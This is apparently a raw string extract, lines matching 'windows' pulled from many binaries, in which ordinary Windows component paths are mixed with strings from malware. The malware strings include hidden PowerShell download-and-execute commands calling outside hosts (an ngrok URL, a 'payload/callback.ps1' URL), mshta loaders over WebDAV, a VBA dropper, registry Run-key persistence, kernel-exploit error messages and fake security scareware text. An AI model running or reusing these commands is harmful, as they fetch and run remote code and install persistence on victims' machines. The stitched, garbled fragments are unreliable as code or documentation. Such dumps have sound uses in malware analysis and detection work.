(@CloudData.WindowsClient.DisableSyncOnActivityFeed
.@Windows.Data.CuratedTileCollection.RootCollection
,@CloudData.WindowsClient.DisableSyncOnActivityFeed
"@CloudData.WindowsClient.DisableSyncOnActivityFeed
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
(@CloudData.WindowsClient.DisableSyncOnActivityFeed
cmd /k c:\windows\#
LocalWindowsHook
sm_localWindowsHook
get_ToolWindowStripGapBottom
Microsoft.ReactNativeWindows
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisualreference.cpp
Tonecoreuap\windows\dwm\dcomp\winrtnested\wrtinjectionanimation.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtscenelightingeffect.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteractiontrackerinertiamodifier.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropdesktoptree.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtinteractiontrackerbindingmanager.cpp
9onecoreuap\windows\dwm\dcomp\devicetexturemanager.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\global\wrtinteropremoteapprendertarget.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionstrokedasharray.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtapierror.cpp
ionecoreuap\windows\DWM\common\shared\SharedCircularQueue.h
Honecoreuap\windows\DWM\common\shared\MergedRect.h
onecoreuap\windows\dwm\dcomp\proxytable.cpp
onecoreuap\windows\dwm\dcomp\synchronoussuperwetink.cpp
ZY	gGonecoreuap\windows\dwm\dcomp\compositiontexture.cpp
onecoreuap\windows\dwm\dcomp\compositiondynamictextureproxy.cpp
onecoreuap\windows\dwm\dcomp\dll\globaldevice.cpp
onecoreuap\windows\dwm\common\util\utillib\debugbreak.cpp
konecoreuap\windows\dwm\dcomp\winrtnested\winrtexports.cpp
onecoreuap\windows\dwm\dcomp\Device.h
onecoreuap\windows\dwm\dcomp\VisualProxy.h
onecoreuap\windows\dwm\dcomp\delegatedinktrailcookietracker.cpp
onecoreuap\windows\dwm\dcomp\delegatedinktrailimpl.cpp
onecoreuap\windows\dwm\dcomp\devicetexturemanagerbase.cpp
onecoreuap\windows\dwm\dcomp\devicetexturemanagerd3d11.cpp
onecoreuap\windows\dwm\dcomp\devicetexturemanagerd3d12.cpp
onecoreuap\windows\dwm\dcomp\crosscontainerguestreadwritesharedsection.cpp
onecoreuap\windows\dwm\dcomp\crosscontainerhostreadonlysharedsection.cpp
WindowsEffect
%SystemRoot%_System32_WindowsPowerShell_v1.0_powershell.exe
WindowSize
%SystemRoot%_SysWOW64_WindowsPowerShell_v1.0_powershell.exe
WindowSize
WindowSize
WindowsLogoff
WindowsLogon 
WindowsUAC
WindowsUnlock
socks_powershell"-value"powershell.exe-windowstylehidden-executionpolicybypass-file`"$location`""
x86_microsoft-windows-b..re-bootmanager-pcat_31bf3856ad364e35_none_b71848465845c7f0
x86_microsoft-windows-b..ronment-dvd-bootfix_31bf3856ad364e35_none_3906df1778234376
x86_microsoft-windows-c..legacyole.resources_31bf3856ad364e35_en-us_ba430c8cdbb1946a
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_ar-sa_9b0b8d8dde4d3a26
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_cs-cz_f4d3cb541af6fc34
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_da-dk_22cecbce387d6e6d
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_de-de_2313ac7e38492c23
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_el-gr_4ff8fa2e569c2085
x86_microsoft-windows-cdosys.resources_31bf3856ad364e35_en-us_4ff0456a56a24746
run('%windir%\\system32\\cmd.exe/c'+'p
D:\windows\system32\taskmgr.exe:1314/tj
Microsoft-Windows-Shell-CortanaTrace
gc:\windows\usr\svchost.exec:\windows\usr\server.exec:\windows\usr\explorer.exeattrib +h %s
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
windows\aaemma.exe
windows\aaemma11.exe
windows\emma
c:\windows\system32\
C:\WINDOWS\SYSTEM32\t5
c:\windows\system32\dbr
omuboeegymaskeroni.co.ukCurrentVersion\Winlogon\Notify\SYSTEM\CurrentControlSet\Services\ccEvtMgrjoincgui.dllglowext.dll
\Windows\s
\microsoft\windows\start menu\program
getarbitraryincrementprimitive is failed. (errorcode = %x)getarbitraryreadwriteprimitive is failed. (errorcode = %x)not hold readprimitive.not hold writeprimitive.getpipeclientcontrolblock : failed to impersonat the fake token.create afd_device_handle failed. errorcode : %08xremotedllexecute failed. %08xunsupported initial windows 8.1 or 2012(r2) version.unsupported windows version.unsupported win 8 or below version.unsupported single-core processor environment.duplicate handle failed.get kernel address failed.get kernel base failed.!#HSTR:Trojan:Win32/GuLoader.SM081222!MTB
WindowsCultureResolver
@windowsecuriy.bat
del/s/f/q%systemroot%\system32\idwlog.exedel/s/f/q%systemroot%\system32\wpabaln.exe
gzy.jpg:\Windows\System32\
%SystemRoot%\System32\svchost.exe -k krnlsrvcProvides support for media palyer. This service can't be stoped.
 \hkcu\software\microsoft\windows\currentversion\runreg_sz
.+\\WINDOWS\\inf\\newskaterock\\.+vbp
pd:\windowsmediaplayer\programfiles\npdrmv2.jpg"/q/f
.?AU?$producers_base@UApp@implementation@TaskManagerApp@winrt@@V?$tuple@UApp@TaskManagerApp@winrt@@UIApplicationOverrides@Xaml@UI@Windows@3@UIApplicationOverrides2@5673@UIXamlMetadataProvider@Markup@5673@@std@@@impl@winrt@@
.?AU?$producer_convert@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UApp@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UApp@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UApp@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIApplicationOverrides@Xaml@UI@Windows@4@UIApplicationOverrides2@7894@UIXamlMetadataProvider@Markup@7894@@impl@winrt@@
.?AU?$produce_base@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIApplicationOverrides2@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UApp@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@UApp@implementation@TaskManagerApp@winrt@@UIApplicationOverrides2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@UApp@implementation@TaskManagerApp@winrt@@UIXamlMetadataProvider@Markup@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce@Uargs@?$observable_vector_base@U?$convertible_observable_vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$vector@USettingsGroupViewModel@TaskManagerApp@winrt@@V?$allocator@USettingsGroupViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@USettingsGroupViewModel@TaskManagerApp@3@@winrt@@UIVectorChangedEventArgs@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UXamlBindings@implementation@TaskManagerApp@winrt@@UIDataTemplateExtension@Xaml@UI@Windows@4@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateExtension@Xaml@UI@Windows@winrt@@X@impl@winrt@@
windows%
windows
windows
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetUserClassID
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.GetClassID
System.Windows.Forms.UnsafeNativeMethods.IPersistPropertyBag.GetClassID
System.Windows.Forms.UnsafeNativeMethods.IPersistStreamInit.GetClassID
System.Windows.Forms.UnsafeNativeMethods.IPersist.GetClassID
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.UNIFIEDTILE.LOCALSTARTVOLATILETILEPROPERTIESMAP
%C:\ProgramData\Microsoft\Windows\AppRepository\State
Software\Microsoft\Windows\avislser\Uninstall\AmatembuS
Software\Microsoft\Windows\laniard\Uninstall\akvarieplanten\lotiumS
WindowsFormsApplication19.PropertiesW
c:\windows\system32\rundll32.exe
"powershell.exe-windowstylehidden-command""invoke-expression((invoke-webrequest-uri'https://f218849e5127.ngrok-free.app/script.txt'-headers
binary>>%windir%/sysget system_rem.exe>>%windir%/sys@ftp -vis:%windir%/sys@copy p.txt "%windir%/system32/drivers/etc/hosts" /yif not exist "%windir%/face.dll" gotocopy system_rem.exe "%windir%" /y /b
WINDOWS;C:\WIN
regnow.exe c:\windows\msapps\msinfo\santa06.dll /sc:\windows\security\database\count1.log
software\microsoft\windows nt\currentversion\winlogon\notify\%s
Behavior:Win32/DisabledWindowsUpdate
System.Windows.Forms.Layout
VS2013WindowSplitterControlFactory
IWindowSplitterControlFactory
set_WindowSplitterControlFactory
c:\windows\system32\mshta.exe"https://hotellatitud33sur.cl/eng/booking_index..html_label=gen/microsoft.html"
|executaopowershellocultamentewshshell.run"powershell-executionpolicybypass-windowstylehidden-file"""tempps1
8c:\windows\system32\manage-bde.wsf"&powershell-nop-whidden-ciex(iwrhttps://bitacid.net/payload/callback.ps1
r8sc:\windows\system32\mshta.exe"\\cayman-inter-descending-processed.trycloudflare.com@ssl\davwwwroot\ksa.hta"
-c:\windows\system32\windowspowershell\v1.0\powershe=n
>mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG)
Windows Installer Package
mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs)/
 'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/mRemoteNG/mRemoteNG.lnk
 !C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG\mRemoteNG.lnkF
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG
7WINDOWS11
Windows Installer XML Toolset (3.11.1.2318)	
>mRemoteNG (C:\ProgramData\Microsoft\Windows\Start Menu\Programs)
Programs (C:\ProgramData\Microsoft\Windows\Start Menu)
'file:C:/ProgramData/Microsoft/Windows/Start Menu/Programs/mRemoteNG
!C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG;
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
7WINDOWS11
Windows.Photos_8wekyb3d8bbwe
	windowscommunicationsapp
COMPUTERNAME=WINDOWS11
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe
UMicrosoft.Windows.Photos_8wekyb3d8bbwe
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe
UMicrosoft.WindowsCamera_8wekyb3d8bbwe
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe
UMicrosoft.WindowsAppRuntime.1.7_8wekyb3d8bbwe4
UMicrosoft.WindowsAppRuntime.1.8_8wekyb3d8bbwe
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe
windows
windowso
windows
windows
windows
.A!ExistingWinLogon
\windows\currentversion\run")
{"aliases":["login.microsoftonline.com","login.windows.net","login.microsoft.com","sts.windows.net"],"preferred_cache":"login.windows.net","preferred_network":"login.microsoftonline.com"}
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.UNIFIEDTILE.ROAMEDTILEPROPERTIESMAP
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.UNIFIEDTILE.LOCALSTARTGLOBALPROPERTIES
$DE${8193A4E6-AEA0-4343-858E-3AA3A3CA8F76}$$WINDOWS.DATA.UNIFIEDTILE.STARTGLOBALPROPERTIES
windows.protocol
open=autorun.exedel c:\\windows\\system32\\kernel32.dll
\Software\Microsoft\Windows\CurrentVersion\Policies\System
\systemroot\system32\drivers\%wz\
WindowSizeX
WindowSizeY
handoffTargetChosenByWindows
c:\windows\system32\cmd.exe/c"start%cd%.trasher\c2ca72b3.exe&&%windir%\explorer.exe%cd%
c:\windows\system32\cmd.exe/c"start%cd%recycler\37e32d80.scr&&%windir%\explorer.exe%cd%
0shell32.dll%windir%\system32\cmd.exe
shell32.dll%windir%\system32\cmd.exe
c:\windows\system32\cmd.exe/c"start%cd%.trashed\f9216981.exe&&%windir%\explorer.exe%cd%systemvolumeinformation
.+:\\Users\\Emre\\Desktop\\Downloader\\WindowsFormsApplication.+\\.+\\StartMe.pdb
.+:\\Users\\Emre\\Desktop\\Downloader\\WindowsFormsApplication.+\\.+\\AdobeUpdater.pdb
c:\windows\iexplore.exe\
.C:\Windows\System32\svchost.exe
WindowsGetStringRawBuffer
WindowsCreateString
SLGetWindowsInformationDWORD
Model@WindowsUdk
0Model@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
?EventSourceRemove@Details@Platform@@YAXPEAPEAXPEAUEventLock@12@VEventRegistrationToken@Foundation@Windows@@@Z
?EventSourceAdd@Details@Platform@@YA?AVEventRegistrationToken@Foundation@Windows@@PEAPEAXPEAUEventLock@12@PE$AAVDelegate@2@@Z
WindowsDeleteString
WindowsDuplicateString
WindowsCreateStringReference
WindowsCompareStringOrdinal
WindowsConcatString
WindowsGetStringLen
WindowsIsStringEmpty
!s\system32\wbem\wmic.exeprocesscallcreate"powers
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
windowsudk.shellcommon.dll
turn off your firewall and enter the registration key you recived.to register windows security click get licence.w
reg delete hklm\software\microsoft\windows\currentversion\run /v msascui /fa
XYZ^eleter@VGetActivitiesByGroupAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByGroupAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityStoreReaderCallbackWrapper@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AV?$ComPtrDeleter@UIBufferByteAccess@Streams@Storage@Windows@@@@
.?AU?$default_delete@VUserObjectFactory@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreAccount@Core@Cloud@Storage@Internal@Windows@@@std@@
filepath="c:\windows\temp\
"$urlshortcutpath="$env:appdata\microsoft\windows\startmenu\programs\startup\app.url"$headers=@{
@echooffstart/bpowershell-windowstylehidden-noprofile-executionpolicybypass-encodedcommand
hc:\windows\system32\mshta.exeshortcutscript%windir%\system32\5http://a0667987.xsph.ru/preparations/rejection.xml/f%windir%\system32\shell32.dll
c:\windows\system32\windowspowershell\v1.0\powershell.exe\w*\\*2\\\msh*e('h@@@@@t@tp'+'://185.123.53.208/lightshot'+'.h@@t@a').replace('@','')
windows("sio_valles
Windows.Storage.ApplicationData.dll
qget-itempropertyvalue-path'hkcu:\software\microsoft\windows\currentversion\explorer\clsid
System.Windows.Forms.Design.ParentControlDesigner,System.Design, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
'hkcu:\software\microsoft\windows\currentversion\run'$
,="powershell-windowstylehidden-command\`"start-process-filepath'$
,'-windowstylehidden\`""set-itemproperty-path$
,"-windowstyle","hidden")-wait}
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
!WindowsService.A
 Windows
<r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:as="http://schemas.microsoft.com/windows/pki/2005/Authenticode">
IsValidNodeAttribute(u) || (u == Windows::Microdom::Rtl::CharacterData::data) || (u == Windows::Microdom::Rtl::CharacterData::length) || 0
WINDOWS;C:\WIN
rogramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
SERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
3#\windows\system32\cmd5
c:\windows\system32\conhost.exe--headless\\payhostmsa.shop@5824\davwwwroot\new.bat
windows app store
windows apps
windows shop
windows store
onenote for windows 10
-windowstylehiddeninvoke-webrequest-uri"https://
"-outfile"$env:temp\runtimebroker.exe";start-process-windowstylehidden$env:temp\runtimebroker.exe;
Jc:\windows\system32\windowspowershell\v1.0\powershell.exe|-commandiwr-urihttps://
mc:\windows\system32\cmd.exe/c"{c00a14a1-8d6c-498e-262a-bc3e336a392f}\22b27661-e5e4-1519-460f-7642b956eadf.exe'uni+dvr_ch3_main_202501
c:\windows\system32\cmd.exede
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
WindowsInstaller
amd64_microsoft-windows-t..workspace.resources_31bf3856ad364e35_en-us_4a9f655a30da70f1
amd64_microsoft-windows-t..x-library.resources_31bf3856ad364e35_en-us_57c9b9f32dd957bd
amd64_microsoft-windows-t..xecution-deployment_31bf3856ad364e35_none_51e56fd89f2705a3
amd64_microsoft-windows-t..xtensions.resources_31bf3856ad364e35_en-us_7dbb76ebef916d75
amd64_microsoft-windows-t..xtensions.resources_31bf3856ad364e35_en-us_85183ada7e2fe0f9
amd64_microsoft-windows-t..xtservice-migration_31bf3856ad364e35_none_8f1b9d49c7f35615
amd64_microsoft-windows-t..y-phoneom.resources_31bf3856ad364e35_en-us_549912406fa750ac
var LocStringManager,WindowsCultureResolver;(function(n){
USERDOMAIN_ROAMINGPROFILE=Windows11*
WINDOWS\system32\cmd.ex
AS/API/WindowsCorta
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|d64~~10.0.26100.1742.cat|
windows.storage.dll#
WindowsInstaller
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_hu-hu_cb229a2cabd382ab
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_hy-am_cb7d0d6aab8f1c6e
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_id-id_f9343ac8c948d659
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_is-is_f8a1104ac9b4f591
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_it-it_f89740a8c9bc2ad9
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_ja-jp_261a51b4e79cb716
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_ka-ge_53fc101b05336c95
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_kk-kz_53230c3b05d4a95c
amd64_microsoft-windows-web-app-host.resources_31bf3856ad364e35_km-kh_53e7ab670540e518
C:\Windows\SystemApps\Microsoft
Windows.Phone.UI.Input.HardwareButtons
Windows.Private.Devices.WiFi.OnDemandHotspotConnectPrivate
Windows.Private.Storage.DedupSettings
Windows.Private.Storage.DedupVolume
Windows.Private.Storage.VolumeSchedule
Windows.Security.Authentication.Identity.Core.MicrosoftAccountMultiFactorAuthenticationManager
Windows.Security.Authentication.Identity.EnterpriseKeyCredentialRegistrationInfo
Windows.Security.Authentication.Identity.EnterpriseKeyCredentialRegistrationManager
Windows.Security.Authentication.Identity.Provider.SecondaryAuthenticationFactorAuthentication
Windows.Security.Authentication.Identity.Provider.SecondaryAuthenticationFactorRegistration
amd64_microsoft.windows.bcd.cmdlets.resources_31bf3856ad364e35_en-us_c0c9dff621727d7e
amd64_microsoft.windows.bcd.cmdlets_31bf3856ad364e35_none_a512956eea050f25
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_af-za_0fa32ae3d4abc692
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_am-et_0edc9687d53fc6a3
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_ar-sa_0faf2111d4a10a95
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_cy-gb_6a80e64c1082bab1
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_da-dk_97725f522ed13edc
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_de-de_97b740022e9cfc92
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_el-gr_c49c8db24ceff0f4
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_en-gb_c54b8d064c6c6492
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_en-us_c493d8ee4cf617b5
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_es-es_c498bc004cf1c3f8
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_vi-vn_c8dd0d3449bfefb3
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_zh-cn_7e873ca8c1808db3
amd64_microsoft.windows.c..-controls.resources_6595b64144ccf1df_zh-tw_7e260da2c1c958c3
amd64_microsoft.windows.common-controls_6595b64144ccf1df_none_62fe57338acfab7a
amd64_microsoft.windows.d..ackmodule.resources_31bf3856ad364e35_en-us_6c12cd9dec3babb1
amd64_microsoft.windows.d..eshootingpackmodule_31bf3856ad364e35_none_d7b71a68b3e1a568
amd64_microsoft.windows.diagnosis.sdengine_31bf3856ad364e35_none_2ec50cdb139d0fc6
amd64_microsoft.windows.dsc.core.resources_31bf3856ad364e35_en-us_40889e2a083bb2c0
amd64_microsoft.windows.dsc.core_31bf3856ad364e35_none_da4fcf60363ebbcb
amd64_microsoft.windows.dsc.dsctimer.resources_31bf3856ad364e35_en-us_768288220380fe46;
amd64_microsoft.windows.dsc.dsctimer_31bf3856ad364e35_none_511c75458c7bec2f
amd64_microsoft.windows.gdiplus.systemcopy_31bf3856ad364e35_none_3d01557e5e8aaad2
amd64_microsoft.windows.gdiplus_6595b64144ccf1df_none_6e8eef9408f10c66
amd64_microsoft.windows.h...sdhost-driverclass_31bf3856ad364e35_none_02eafd2147318e29
amd64_microsoft.windows.h..battery-driverclass_31bf3856ad364e35_none_258a2a938e740b53
amd64_microsoft.windows.h..changer-driverclass_31bf3856ad364e35_none_4187b7c263cccf4f
amd64_microsoft.windows.h..eyboard-driverclass_31bf3856ad364e35_none_779b9ce7e311b967
amd64_microsoft.windows.h..iverclass.resources_31bf3856ad364e35_en-us_14b1e61ee6ca6e1b
amd64_microsoft.windows.h..iverclass.resources_31bf3856ad364e35_en-us_17159a5bfda9016e
amd64_microsoft.windows.h..ler.wpd-driverclass_31bf3856ad364e35_none_c04f0e986e5237a7
amd64_microsoft.windows.h..pedrive-driverclass_31bf3856ad364e35_none_34da7b8a0f837300
amd64_microsoft.windows.h..uetooth-driverclass_31bf3856ad364e35_none_1c1dd4881990105e
amd64_microsoft.windows.i..utomation.proxystub_6595b64144ccf1df_none_9f9796e7f24cbbb9
amd64_microsoft.windows.isolationautomation_6595b64144ccf1df_none_3330287935bfa22d
amd64_microsoft.windows.m..gual_components_all_31bf3856ad364e35_none_6cb6f01246f3ff82
amd64_microsoft.windows.p..ell.consolesettings_31bf3856ad364e35_none_a3b6ae62f7ec784f
amd64_microsoft.windows.startlayout.module_31bf3856ad364e35_none_f42d48201df60b58
amd64_microsoft.windows.systemcompatible_6595b64144ccf1df_none_c2a08f6c3cf7c9eb
amd64_microsoft.windows.w..-non_msil.resources_31bf3856ad364e35_en-us_98de987264f22e74
amd64_microsoft.windows.whea.cmdlets-non_msil_31bf3856ad364e35_none_681dffe8fd2a9bbb
amd64_microsoft.windows.whea.cmdlets_31bf3856ad364e35_none_af8f2b1ce6ad85b9
amd64_microsoft.windows.winhttp.resources_31bf3856ad364e35_en-us_270f57c80b297289
amd64_microsoft.windows.winhttpcom_31bf3856ad364e35_none_923e7ca5ea50f963
amd64_microsoft.windows.winhttp_31bf3856ad364e35_none_070f71fc9f68c1f8
amd64_microsoft.windowsau..nprotocols.commands_31bf3856ad364e35_none_fb9337ae950bd8c1
copy""%0"""%systemroot%\system32\file.bat"
start-process-windowstylehiddenpowershell$
"-windowstylehidden
servicestarted-windowsdefenderantivirus
fso.copyfile "C:\Windows\System32\mshta.exe", Environ("TEMP") & "\calc.com", TrueShell "cmd /c cd %temp% && calc.com http://www.j.mp/dashkdhasudhwydhaucbyw && del calc.com", vbHide
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.PlaceholderTileLocahbin
Windows.Data.PlaceholderTileLocal
Windows.Data.PlaceholderTileCollectionLocal
        context: Qt.WindowShortcut
Software\Microsoft\Windows\CurrentVersion\Uninstall\Slish\materialehaandteringS
msil_microsoft-windows-p..ell-instrumentation_31bf3856ad364e35_none_6ba490a58db13fa1
4f^windows.appExtension
50^windows.appExtension
C:\Windows\System32", Null, 0 * 1
WINDOWS11
Microsoft.Windows.Shell.ProfAPI
wow64_microsoft-windows-a..ence-mitigations-c7_31bf3856ad364e35_none_10b768ecafc8977c
wow64_microsoft-windows-a..erience-mitigations_31bf3856ad364e35_none_b1cb6b94ef4ff5eb
wow64_microsoft-windows-a..es-interface-router_31bf3856ad364e35_none_fe82771383c13d8c
wow64_microsoft-windows-a..face-winnt-provider_31bf3856ad364e35_none_c977814d866634dd
wow64_microsoft-windows-a..hui-instrumentation_31bf3856ad364e35_none_0ccd7c3687d7ce8f
wow64_microsoft-windows-a..ience-common-logger_31bf3856ad364e35_none_baf6ea235e89e49d
wow64_microsoft-windows-a..ilysafety-extension_31bf3856ad364e35_none_e4047e071ba109c4
